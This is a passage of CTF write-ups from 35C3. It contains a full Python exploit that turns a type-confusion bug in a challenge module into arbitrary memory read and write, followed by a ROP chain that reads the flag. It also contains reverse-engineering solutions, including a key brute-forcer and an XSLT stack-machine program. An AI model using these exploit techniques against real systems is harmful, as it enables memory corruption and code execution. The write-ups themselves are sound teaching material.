a specific dictionary. In the `CollectionObj`, which is the `PyObject` of `Collection`, we have a pointer to the `handler`, and we also have the array that stores the `PyObject` of values in dictionary, except for the integer type we just store it as long type in C. The order in handler linked list and the order in array in `CollectionObj` should have been matched exactly to each other. However, when `getTypeHandler` is called, it will return a previous handler if the handler already exists, **even if the order of entries in the dictionary is different**. Here is where the vulnerability comes, type confusion. The PoC that cause the crash is simple: ```pythonia = Collection.Collection({"int": 0x1337, "arr": [0xdead, 0xbeef]})ai = Collection.Collection({"arr": [0xdead, 0xbeef], "int": 0x1337}) #they will share the same handler, even if the order is different#and the order of the array in `CollectionObj` is also differentprint(ia.get("int"))print(ia.get("arr"))print(ai.get("int")) #print addressprint(ai.get("arr")) #cause crash because it regards 0x1337 as address``` ### exploitation Because I can leak the object address using `id(obj)`, so we can fake a object easily in the memory and return an address pointing to it in the `Collection.get`. If we can find a structure that internally keep a pointer pointing to a C array, and we can read and write its element, we will have arbitrary address read and write. This is where I failed. The Python string is not the case because it stores the data directly in the `PyObject`, and we cannot edit it. The Python list is neither the case because the pointer points to an array of pointers pointing to Python objects. When we assign new value to the list, what is changed is the pointer to the Python object, instead of the content inside the object, so we cannot exploit this. Then I come to some other approach such as Python heap exploitation, but they don't work very well, or the difficulty to exploit in that way is far beyond my capability. After the CTF, I read some of the write-ups and found `array.array` that performs exactly same as what I expected. Then the thing become very easy. We can leak the `libc` and stack address very easily, and write to stack to perform ROP that gets the flag. ```pythonimport osflag = open("flag", "r")os.dup2(flag.fileno(), 1023)flag.close() from sys import modulesdel modules['os']import Collectionkeys = list(__builtins__.__dict__.keys())for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k] # ----------------start--------------------- p64 = lambda x: x.to_bytes(8,"little") def create_rop(iov, buf): #ROP is easy, I won't detail this POPRAX = p64(0x0000000000420f7b) POPRDI = p64(0x0000000000421612) POPRSI = p64(0x000000000042110e) POPRDX = p64(0x00000000004026c1) READV = p64(0x4208B0) WRITE = p64(0x4207E0) rop = b'' rop += POPRDI rop += p64(1023) rop += POPRSI rop += p64(iov) rop += POPRDX rop += p64(1) rop += READV #readv(1023, iov, 1) rop += POPRDI rop += p64(1) rop += POPRSI rop += p64(buf) rop += POPRDX rop += p64(0x100) rop += WRITE #write(1, buf, 0x100) rop += p64(0x2019) return rop def fake_array(addr): # https://github.com/python/cpython/blob/master/Modules/arraymodule.c # the first field is reference count, we make it big to avoid GC to collect it # the 0x9d3340 and 0x715508 represent the type of PyObject and type of C array respectively # in this case, I have chosen the unsigned char array to make it easy # they are obtained from debugging # the 3rd and 5th fields are both length, # I don't know why there are 2 fields storing the same thing, # although they can be inequal sometimes, # so I just copied everything from the memory return p64(0x0000000000002019) + p64(0x00000000009d3340) \ + p64(0x0000000000002019) + p64(addr) \ + p64(0x0000000000002019) + p64(0x0000000000715508) \ + p64(0x0000000000000000) + p64(0x0000000000000000) ia = Collection.Collection({"int":0x5cee56c130df7336, "arr":[0x2019, 0xbeef]}) ENVIRON = 0xa4f980leak = fake_array(ENVIRON)#suprisingly the environ is in Python module instead of libc module leak_addr = id(leak) + 0x20#for the string, the data is +0x20 after the PyObject address#but in the interactive mode, it seems to be +0x48? print(hex(leak_addr)) ai_leak2 = Collection.Collection({"arr":[0x2019, 0xbeef], "int":leak_addr})leak_arr2 = ai_leak2.get("arr") #This triggers the vulnerability, and returns an faked array.array object#also, make sure don't reassign this variable, otherwise the GC might be triggered print(hex(id(leak_arr2)))assert id(leak_arr2) == leak_addr stack_addr = 0for i in range(0,8): stack_addr |= (leak_arr2[i]) << (8 * i)#leak the stack address #here we decide to write the ROP into the return address of Py_Main#which should return to function main, and will be executed when the Python script terminates#This is good because it will not interfere essential data at the top of the stack,#and we are sure it will be executed as long as the program terminatesstack_addr -= 0x148 # will point to return address of Py_Main print(hex(stack_addr))#-------------------leak address to shoot rop write = fake_array(stack_addr)write_addr = id(write) + 0x20buf_addr = 0xA4FF00 # choose a buffer that will not be usedfake_iov = p64(buf_addr) + p64(0x100)iov_addr = id(fake_iov) + 0x20#fake the iov for readv ai_write = Collection.Collection({"arr":[0x2019, 0xbeef], "int":write_addr})write_arr = ai_write.get("arr")print(hex(id(write_arr)))#basically same as above rop = create_rop(iov_addr, buf_addr) for i in range(15 * 8): write_arr[i] = rop[i]#-----------------------write ROP``` ## 49 rev / 0pack ## **Description** > Build with my new packer framework. Do you likes zeros in weird places? Try [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz)!> > (Password does not contain 35C3_, prepend before submitting flag `35C3_${extracted_password}`) Guest challenge by Qubasa.> Difficulty estimate: medium **Files provided** - [0pack](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz) **Solution** (by [Mem2019](https://github.com/Mem2019)) To solve this challenge, we need to unpack the binary first. After some inspection, we can dump the binary using gdb `dump binary memory code.bin 0x555555554628 0x555555567094`, because this is the region where the writable codes lie. Then put it into the executable. ```pythonp = open("code.bin", "r")d = p.read()p.close() f = open("0pack.elf", "r+")f.seek(0x628)f.write(d)f.close()``` Using `backtrace` command in gdb, we can find the function that calls the function to get input, here it is `fgets` ```c__int64 __usercall sub_5555555669A0@<rax>(__int64 a1@<rsi>, _BYTE *a2@<r15>){ char need1; // [rsp+1Dh] [rbp-83h] char s[15]; // [rsp+20h] [rbp-80h] char v5[16]; // [rsp+30h] [rbp-70h] char out[58]; // [rsp+50h] [rbp-50h] unsigned __int64 v7; // [rsp+98h] [rbp-8h] v7 = __readfsqword(0x28u); need1 = 1; strcpy(v5, "Input password: "); printf("%s", v5, a1); fgets(s, 15, stdin); putchar(10); if ( s[0] != a2[74869] || antidbg() ) //clear plain text comparison need1 = 0; if ( s[1] != a2[74968] || antidbg() ) need1 = 0; if ( s[2] != a2[74298] || antidbg() ) need1 = 0; if ( s[3] != a2[74319] || antidbg() ) need1 = 0; if ( s[4] != a2[74868] || antidbg() ) need1 = 0; if ( s[5] != a2[74319] || antidbg() ) need1 = 0; if ( s[6] != a2[74664] || antidbg() ) need1 = 0; if ( s[7] != a2[74869] || antidbg() ) need1 = 0; if ( s[8] != a2[74874] || antidbg() ) need1 = 0; if ( s[9] != a2[74298] || antidbg() ) need1 = 0; if ( s[10] != a2[74309] || antidbg() ) need1 = 0; if ( s[11] != a2[74954] || antidbg() ) need1 = 0; if ( s[12] != a2[74792] || antidbg() ) need1 = 0; if ( s[13] != a2[74968] || antidbg() ) need1 = 0; if ( need1 ) { *(_QWORD *)out = '��_��� ('; *(_QWORD *)&out[8] = '��� (\n)�'; *(_QWORD *)&out[16] = '��>)���_'; *(_QWORD *)&out[24] = '���-����'; *(_QWORD *)&out[32] = '��␌�(\n'; *(_QWORD *)&out[40] = 'uf )���_'; *(_QWORD *)&out[48] = '!haey kc'; *(_WORD *)&out[56] = '\n'; } else { *(_QWORD *)out = '�� wwwwA'; *(_DWORD *)&out[8] = '��_�'; *(_WORD *)&out[12] = '\n�'; out[14] = 0; } printf("%s", out); return 0LL;}``` By debugging, we can find that `a2 == 0x555555554000`, so get the flag using IDA script ```pythons = [None] * 14s[0] = chr(Byte(0x555555554000 + 74869))s[1] = chr(Byte(0x555555554000 + 74968))s[2] = chr(Byte(0x555555554000 + 74298))s[3] = chr(Byte(0x555555554000 + 74319))s[4] = chr(Byte(0x555555554000 + 74868))s[5] = chr(Byte(0x555555554000 + 74319))s[6] = chr(Byte(0x555555554000 + 74664))s[7] = chr(Byte(0x555555554000 + 74869))s[8] = chr(Byte(0x555555554000 + 74874))s[9] = chr(Byte(0x555555554000 + 74298))s[10] = chr(Byte(0x555555554000 + 74309))s[11] = chr(Byte(0x555555554000 + 74954))s[12] = chr(Byte(0x555555554000 + 74792))s[13] = chr(Byte(0x555555554000 + 74968)) print ''.join(s)``` But one thing that I don't understand is the way the packer works. The entry point is `0` for this executable, and so the initial rip should be `0x555555554000` with ASLR disabled. However, the data there in IDA pro and gdb are `0xe9 0xfb 0x5f 0x41 0x00`, which is `jmp 0x55555596a000`. The instructions in `0x55555596a000` make sense, because they seem to be the entry point of a packer. However, I don't know where `0xe9 0xfb 0x5f 0x41 0x00` comes from, because that address should be magic number of ELF header, `"\x7fELF"`, and indeed in the ELF file it is so. And I cannot find `0xe9 0xfb 0x5f 0x41 0x00` in binary ELF file. Well, so I am not sure how these bytes are changed. ## 72 rev / box of blink ## **Description** > As every year, can you please decode [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz) for me?> > ![](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.jpg) **Files provided** - [blink.csv.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz) **Solution** The image shows a prototyping setup with: - a LED board (bottom right) - an oscilloscope (top) showing some squarewaves / digital data capture - a logic analyser (centre) - a Raspberry Pi (bottom left) It is clear that the Pi has a program running that presumably displays the flag on the LED board at some point, and that the logic analyser captured this operation as the file we were given. The oscilloscope might give some additional hints for what to look for in the data but it is not terribly important to solving the challenge. Unpacking the `blink.csv.gz` file, we can see that it is a quite large (410 MiB) Comma-Separated Values file, i.e. a text-based table format. In the first 21 lines we see some metadata emitted by the logic analyser, but more importantly, we see the labels for all the 10000000 data entries that follow. ```bash$ wc -l blink.csv10000021$ head -n 22 blink.csv#Model,MDO3014#Firmware Version,1.26##Waveform Type,DIGITAL,,,,,,,,,,,,,#Point Format,Y,,,,,,,,,,,,,#Horizontal Units,s,,,,,,,,,,,,,#Horizontal Scale,0.004,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Sample Interval,4e-09,,,,,,,,,,,,,#Record Length,1e+07,,,,,,,,,,,,,#Gating,0.0% to 100.0%,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V#Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1#TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1``` `TIME` is the only column with decimal data, but it is irrelevant to us (it is enough to know that successive lines represent samples taken at successive times), so we will ignore it. The remaining columns are all digital, only taking values `0` or `1`. Some of their labels are clear enough, some not so much: - `OE` - ? - `LAT` - latch? - `CLK` - clock - `E` ... `A` - ? 5 bits = 64 possible values - `{R,G,B}{1,2}` - 2 bits for each colour channel - Red, Green, Blue `CLK` is a very important signal to see in captures like this. It is not trivial to perfectly synchronise two devices, so it is common to use a dedicated clock signal emitted by one device (master) that tells the other (slave) when to read data from the remaining signals. In our case we only need to read data entries when the clock "goes high", i.e. its value is `0` on the previous sample and `1` on the current sample. At this point we can try to test various theories about how the data is actually transmitted using the remaining signals (`LAT`, `E` ... `A`, and `{R,G,B}{1,2}`). However, for a speedy flag it was worth trying the simplest possible method – what if the Pi transmits displays the flag right away, i.e. there is no metadata exchanged, just pixels? It would be useful to know what shape the data would be in. The photo is in good enough resolution (and was actually much higher res during the CTF) for us to be able to count the individual LEDs on the LED board. It consists of two 64x64 squares, 128x64 pixel resolution in total. Then we can assume that `R1` is the most significant bit of the red channel, `R2` is the LSB (not that it really matters), and print out pixels! [Full pixel reader script](scripts/Blink.hx) ![](screens/blink.png) The output is by no means perfect, but it got us the flag with minimal effort! `35C3_D4s_blInk3nL1cht3n_1st_so_wund3rb4r` ## 65 rev / corebot ## **Description** > https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6> > Difficulty estimate: easy> > Guest challenge by Jesko / rattle.> > **UPDATE**: Challenge binary replaced. Apologies for the inconvenience. **Files provided** - [corebot](https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6) **Solution** (by [Mem2019](https://github.com/Mem2019)) The core function is easy, decrypt specific data using the key generated from `VolumeSerialNumber`, and compare the first 4 bytes of decryption result with `35C3`. In other word, we need to find the correct serial number that can decrypt the data to the flag. The best way is to use the brute force crack. ```c#include <windows.h>#include <stdio.h>struct key{ DWORD head[3]; WORD serials[0x10];}data; DWORD cmode = CRYPT_MODE_ECB;bool crack(DWORD serialNumber){ DWORD len = 0x20; BYTE res[] = "\x10\x29\xB8\x45\x9D\x2A\xAB\x93\xFE\x89\xFB\x82\x93\x42\xA1\x8C\x2E\x90\x63\x00\x06\x11\x80\x64\xB8\x21\xC2\x9F\x35\xE7\x7E\xF2"; HCRYPTPROV cryptContext; HCRYPTKEY key; CryptAcquireContextA(&cryptContext, 0, 0, 0x18u, 0); //initialization that gets the context int i = 16; do { --i; data.serials[i] = (WORD)serialNumber; serialNumber ^= ((DWORD)(WORD)serialNumber >> 4) ^ ((WORD)serialNumber << 11) ^ ((WORD)serialNumber << 7); //actually only low 16 bits of serial are used here, so we only need to crack 0x10000 times }// do some transformation while (i); CryptImportKey(cryptContext, (const BYTE *)&data, 0x2Cu, 0, 0, (HCRYPTKEY *)&key); //import the key from raw bytes to some struct CryptSetKeyParam(key, KP_MODE, (const BYTE *)&cmode, 0); //set mode to ECB CryptDecrypt(key, 0, 1, 0, (BYTE *)&res, (DWORD *)&len;; //decrypt return (memcmp(res, "35C3", 4) == 0);} void init(){ data.head[0] = 0x208; data.head[1] = 0x6610; data.head[2] = 0x20;} int main(){ init(); for (size_t i = 0; i < 0xffffffff; i++) { if (i % 0x1000 == 0) printf("%x\n", i); if (crack(i)) printf("%x\n", i); } return 0;}``` A tricky point is that this program is written by assembly directly, because almost no compiler will generate assembly code like this. Especially, when doing the transformation, the hex-ray will give the wrong pseudo code. For example, ```c//in the loopHIWORD(v18) = serialNumber; // wrong!``` This is actually many continuous `push` that create an array finally, instead of assigning to the same variable for 16 times ```assemblypush ax ; push 16 * 2 = 0x20 bytes``` along with the extra 0xC bytes being pushed after the loop, we have 0x2C bytes, which matches the `dwDataLen` argument of `CryptImportKey` exactly. ```assemblypush 20hpush 6610hpush small 0push small 208h ; 0xc bytes``` ## 97 rev / juggle ## **Description** > Can you help this restaurant Stack the right amount of Eggs in their ML algorithms?> > Guest challenge by Tethys.> > Note that you need to send a shutdown(2) after you sent your solution. The nmap netcat will do so for you, e.g.: `ncat 35.246.237.11 1 < solution.xml`> > > `/usr/bin/ncat --help | grep -n 1 Ncat 7.60 ( https://nmap.org/ncat )`> > Files here: https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar **Files provided** - [juggle.tar](https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar) **Solution** At first I wanted to completely skip this challenge because I thought "ML" in the description referred to Machine Learning, not an uncommon theme in difficult CTF challenges. But I'm really glad I got back to it eventually! In the archive we are given two files: - `Dockerfile` - contains the script for deploying a Docker container for this challenge, and its run command, which invokes [Xalan](https://xalan.apache.org/) - `challenge.min.xslt` - an [XSLT (Extensible Stylesheet Language Transformations)](https://en.wikipedia.org/wiki/XSLT) file, minified The first step is to tidy up the `challenge` file with some auto format. [Auto-formatted `challenge.xslt`](files/challenge.xslt) At this point we can start dissecting the file more comfortably, one bit at a time. The root element, `<xsl:stylesheet>` specifies some XLST "libraries", [`math`](http://exslt.org/math/) and [`common`](http://exslt.org/exsl/index.html). It has two child nodes. The first is a template that matches on `/meal` elements. Based on the description we will have to send the challenge server an XML file, so it seems the root element of our file will be `<meal>`. The other is a template with a name, but no element match, so it will be invoked indirectly by the XSLT itself. Let us have a closer look at the first template, matching on `/meal`. First, there is an assertion: ```xml<xsl:if test="count(//plate) > 300"> <xsl:message terminate="yes">You do not have enough money to buy that much food</xsl:message></xsl:if>``` If we have more than 300 `<plate>` elements in our submission, the above message is printed and the process is stopped (`terminate="yes"`). Note also the fact that plates are counted with `//plate`, i.e. nested two levels deep (including `<meal>`). Next, a variable called `chef-drinks` is defined: ```xml<xsl:variable name="chef-drinks"> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value></xsl:variable>``` It seems to be an array of five randomly generated 32-bit unsigned integers (`4294967296 = 0x100000000 = 2^32`). Finally, the other template is "called", like a function: ```xml<xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="exsl:node-set($chef-drinks)//value"/> <xsl:with-param name="food-eaten" select="1"/> <xsl:with-param name="course" select="course[position() = 1]/plate"/> <xsl:with-param name="drinks" select="state/drinks"/></xsl:call-template>``` The `chef-drinks` variables is given as-is. `food-eaten` is initialised at `1`. `course` is set to all `<plate>` elements in the first `<course>` element of our `<meal>` submission. And finally, `drinks` is initialised to the `<drinks>` element in `<state>`. Before looking into what `consume-meal` does, we already know / can guess our submission will have this shape: ```xml<meal> <course> <plate>?</plate> <plate>?</plate> ... </course> <course>...</course> ... <state> <drinks> ? </drinks> </state></meal>``` Now we can move onto `consume-meal`. Its first lines declare the parameters we already know about – `chef-drinks`, `food-eaten`, `course`, and `drinks`. Then there are two assertions: ```xml<xsl:if test="$food-eaten > 30000"> <xsl:message terminate="yes">You ate too much and died</xsl:message></xsl:if><xsl:if test="count($drinks) > 200"> <xsl:message terminate="yes">You cannot drink that much</xsl:message></xsl:if>``` Both of these seem to be fatal errors. Since `food-eaten` was initialised at `1`, the first assertion would only make sense if `consume-meal` was called multiple times. And indeed, if we scroll a bit further, we will find that `consume-meal` is called again from within itself, i.e. it is recursive. At each step, it increases `food-eaten` by one. In other words, `food-eaten` is a step counter that cannot go above 30000. By similar logic, `drinks` must be modified within `consume-meal`, otherwise this assertion could have been made before the initial call. Whatever `drinks` are, we cannot have more than 200 of them. Finally, we move on to the core of the XSLT. If we have any elements in `$course`, we initialise a couple of variables: ```xml<xsl:if test="count($course) > 0"> <xsl:variable name="c" select="$course[1]"/> <xsl:variable name="r" select="$course[position()>1]"/> <xsl:choose> ... </xsl:choose></xsl:if>``` `c` will refer to the first element of `$course` (since in XML land lists are 1-indexed), and `r` will refer to the remaining elements. Note at this point that `$course` does NOT refer to our `<course>` elements. Recall that `consume-meal` was invoked with `<xsl:with-param name="course" select="course[position() = 1]/plate"/>`, so `$course` will contain the `<plate>` elements of our first `<course>` (on the first iteration). So with an input like: ```xml<meal> <course> <plate><foo/></plate> <plate><bar/></plate> <plate><baz/></plate> </course> ...</meal>``` During the first call to `consume-meal`, `$c` will be `<plate><foo/></plate>`, and `$r` will be the list of `<plate><bar/></plate>` and `<plate><baz/></plate>`. After `$c` and `$r` are initialised, there is a large `<xsl:choose>` block, equivalent to a `switch` statement in conventional programming languages. The `<xsl:choose>` element checks to see what is "in" our plates, i.e. what elements are contained in our `<plate>` element. Let us have a look at one of these choices: ```xml<xsl:when test="count($c/paella) = 1"> <xsl:variable name="newdrinks"> <value> <xsl:value-of select="$c/paella + 0"/> </value> <xsl:copy-of select="$drinks"/> </xsl:variable> <xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="$chef-drinks"/> <xsl:with-param name="food-eaten" select="$food-eaten + 1"/> <xsl:with-param name="course" select="$r"/> <xsl:with-param name="drinks" select="exsl:node-set($newdrinks)//value"/> </xsl:call-template></xsl:when>``` In other words, if our `<plate>` contained a `<paella>` element, we will invoke `consume-meal` again with slightly modified parameters: - `chef-drinks` - `chef-drinks` (the 5 random numbers) remain the same - `food-eaten` - increased by one - `course` - `$r`, i.e. the remaining plates of this `<course>` - `drinks` - `$newdrinks`, created just above, consisting of some value (contained within our `<paella>` element) prepended to the original `$drinks` By this point it should be pretty clear that this XSLT is in fact a virtual machine! Each `<plate>` will contain an instruction which will modify the state and pass that state onto the next invocation of `consume-meal`. The `<course>` elements are blocks of instructions, in essence behaving like labels. `drinks` are in fact our stack. With a `<paella>` instruction we can push an immediate value to our stack. We can analyse all the instructions one by one: - `宫保鸡丁` - debug command, prints `chef-drinks` as well as `drinks` - `paella` - push immediate value to stack - `불고기` - duplicate a given element of the stack and push it - `Борщ` - pop top element of `chef-drinks` if it matches top of `drinks` - `दाल` - print the flag if no `chef-drinks` remain - `ラーメン` - push 1 if top of `drinks` is greater than top of `chef-drinks`, 0 otherwise - `stroopwafels` - push 1 if 2nd value in `drinks` is greater than top value in `drinks` - `köttbullar` - move a given element from `drinks` to the top - `γύρος` - remove a given element from `drinks` - `rösti` - add top elements of `drinks` - `לאַטקעס` - subtract top elements of `drinks` - `poutine` - multiply top elements of `drinks` - `حُمُّص` - integer divide top elements of `drinks` - `æblegrød` - jump to a given `<course>` if top of `drinks` is not 0 A limited instruction set, but Turing-complete nonetheless. Of particular note is `दाल` - prints the flag if (and only if) there are no more `chef-drinks`. In fact the 5 random numbers generated at the beginning form an additional stack, one that we cannot directly manipulate. The debug command `宫保鸡丁` prints out the values of `chef-drinks` (as well as our `drinks`), but this is indeed only useful for debugging – each time we run our XML on the server, the numbers are different, and we have no way to send what we saw from the debug command back to the XML file we submitted. So our XML needs to run instructions that will guess the `chef-drinks` (using `Борщ`) one by one, without seeing their values. The only other instruction dealing with `chef-drinks` is `ラーメン`, which compares the top of our stack `drinks` with the top of the challenge stack `chef-drinks`. In other words, we need to implement a binary search. We can adapt the pseudo-code for [binary search from Rosetta code](http://rosettacode.org/wiki/Binary_search): BinarySearch(A[0..N-1], value) { low = 0 high = N - 1 while (low <= high) { // invariants: value > A[i] for all i < low value < A[i] for all i > high mid = (low + high) / 2 if (A[mid] > value) high = mid - 1 else if (A[mid] < value) low = mid + 1 else return mid } return not_found // value would be inserted at index "low" } Since we only have `>`, the code we will implement is: high = 0x100000000; low = 0; while (high > low) { var mid = (low + high) >> 1; // integer divide by two if (mid + 1 > number) { high = mid; } else { low = mid + 1; } } During the CTF, I chose to implement a simple assembler. I was particularly worried about Unicode messing up my instructions (RTL marks, non-canonical ordering, bad copypaste), but of course labels and a minimum of type safety was a plus. Debugging wasn't particularly easy with the remote server, so at some point I also implemented an emulator to test my code. [Full assembler/emulator script here](scripts/Juggle.hx) ```bash$ haxe -D EMULATE --run Juggleins(0): PUSHI(0); stack: 0ins(1): PUSHI(8388608); stack: 8388608,0ins(2): PUSHI(1); stack: 1,8388608,0ins(3): PUSHI(1); stack: 1,1,8388608,0ins(4): JMP; stack: 8388608,0ins(0): PUSHI(2); stack: 2,8388608,0ins(1): PUSHI(1); stack: 1,2,8388608,0ins(2): DUPN; stack: 8388608,2,8388608,0ins(3): PUSHI(3); stack: 3,8388608,2,8388608,0ins(4): DUPN; stack: 0,8388608,2,8388608,0...... etc etc...ins(0): PUSHI(0); stack: 0,6830991,6830991ins(1): DROP; stack: 6830991ins(2): CHECK; checking 6830991 against 6830991 ... OK!stack: ins(3): END; flag!``` The submission generated is available [here](scripts/sol.xml). After running it on the server, we get the flag: `35C3_The_chef_gives_you_his_compliments` ## 215 rev / notifico ## **Description** > veni, vidi, notifici> > Notes: - only chmod, no touch - no root user, please - tar --no-same-owner -xhzf chall.tar.gz> > [Challenge files](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz)> > **HINT**: The graph is a move graph for a certain type of chess piece. **Files provided** - [notifico.tar.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz) **Solution** In the `tar` archive, we see three files: - `chall.tar` - another archive containing 225 directories with some 40-50 files each, although all but one in each directory are symlinks - `check.py` - flag decryption script invoking `check` in the process - `check` - ELF executable to verify a given directory The first step was to look into `check.py`. The important bit was: ```pythonVAL = 15 # ... res = subprocess.call(["./check", basedir]) if res == 255 or res != VAL: print("This looks no good...") exit(-1)else: print("A worthy try, let's see if it yields something readable...")``` So whatever directory we give it as our "solution", it will invoke the `check` executable on it. `check` in turn must return `VAL`, i.e. `15` for the solution to be considered valid. The SHA-256 hash of the UNIX permissions of the files in our solution directory is then used to decrypt a flag encrypted using AES. Given that there are `225` "regular" files and hundreds of symlinks in the `chall.tar` archive which forms the template for our solution, brute-force is infeasible. The hint given in the challenge description spoils what `chall.tar` is completely, so much so that I am surprised this challenge didn't have many more solutions after the hint was released. We can gain a similar understanding of `chall.tar` from how the `check` executable works and the general structure of the archive. Using IDA Pro we can find that `check` does roughly the following: - sets up `inotify` watchers on all regular (non-symlink) files in each of the `225` directories - try to `fopen` each of the `225` regular files in read/write mode, then `fclose` - set `result` to `0` - handle all triggered `inotify` events: - increment `result` by `1` - for each `IN_CLOSE_WRITE` event (i.e. file closed after write access), try to `execve` all the symlinks in the just-closed file's directory - exit with exit code `result` Note that `execve` will only succeed when the file referenced by the symlink can be executed; if `execve` succeeds, the program will crash, because there are no valid executables in the `chall.tar` directory (each regular file is only 1 byte long). In other words, `check` counts the regular files it can open whose "neighbours" (i.e. files referenced by the symlink it that file's directory) are not executable. One more extremely important hint: the number of directories in `chall.tar` is `225`, which is `15 * 15`, a perfect square. `VAL` is also `15`. We can also count how many files there are in each of the `225` directories. If we simply extract the archive and go through the directories in alphabetical order, the result is rather chaotic. However, the directories are contained in `chall.tar` in a particular order. We can see this with: ```bash$ tar -tvf chall.tardrwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/drwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/clxAKWStzqRKyxql -> ../eAvSLhONEWpXqnwu/JHFulfjgaQGnmOPxlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/OfTFUEFIyGMZMoan -> ../HdWkyeWugdUHdzuU/rUXgDUpTytwSoWonlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/drwKLoWvVcjNdMiX -> ../zoPhogrElBntiQUN/ThQhbYJgbiSZbykblrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/zvXOjUgOepbQeCoe -> ../ISOYfrwvVOMZveHE/jroOyZVjiUCJCHgf.........lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/GIlMJUgUbXbYmdSE -> ../pNuhEkCjuZfTZWvi/JFhCuAbdlsMRpcNolrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KdDQXPXYBqQARKQc -> ../QdyTwLeNTUDvXTFI/DJLuDDWviVrYegVMlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/MCOiuhLUCuCoPZvn -> ../vruPGIPvYbkWqNzX/MHinNnRcKtLLeEXVlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/ufIYqBqbfCgGIspR -> ../vqPxvKvBQGHntyiv/aYPWRwJUyOyHRILd-r-------- 0 notifico notifico 1 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KYtdUumqvnfClEMF``` If we count the symlinks in the directories in this order and arrange them in a `15 * 15` square, we get a very neat result: 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 56, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42 It is symmetric and there are more symlinks in the "central" directories. Maybe you can see where all of this (+ the explicit hint) is leading to. Chess! More specifically, a chess puzzle, the [N queens problem](https://en.wikipedia.org/wiki/Eight_queens_puzzle). The famous eight queens puzzle is a chess puzzle where the goal is to arrange `8` queens on a regular (`8 * 8`) chessboard without any of them being able to see one another (queens can move and see horizontally, vertically, and diagonally). In this case we have a `15` queens puzzle. Consider for example the top-left directory in the table above. It has `42` symlinks: Q, X, X, X, X, X, X, X, X, X, X, X, X, X, X X, X, ., ., ., ., ., ., ., ., ., ., ., ., . X, ., X, ., ., ., ., ., ., ., ., ., ., ., . X, ., ., X, ., ., ., ., ., ., ., ., ., ., . X, ., ., ., X, ., ., ., ., ., ., ., ., ., . X, ., ., ., ., X, ., ., ., ., ., ., ., ., . X, ., ., ., ., ., X, ., ., ., ., ., ., ., . X, ., 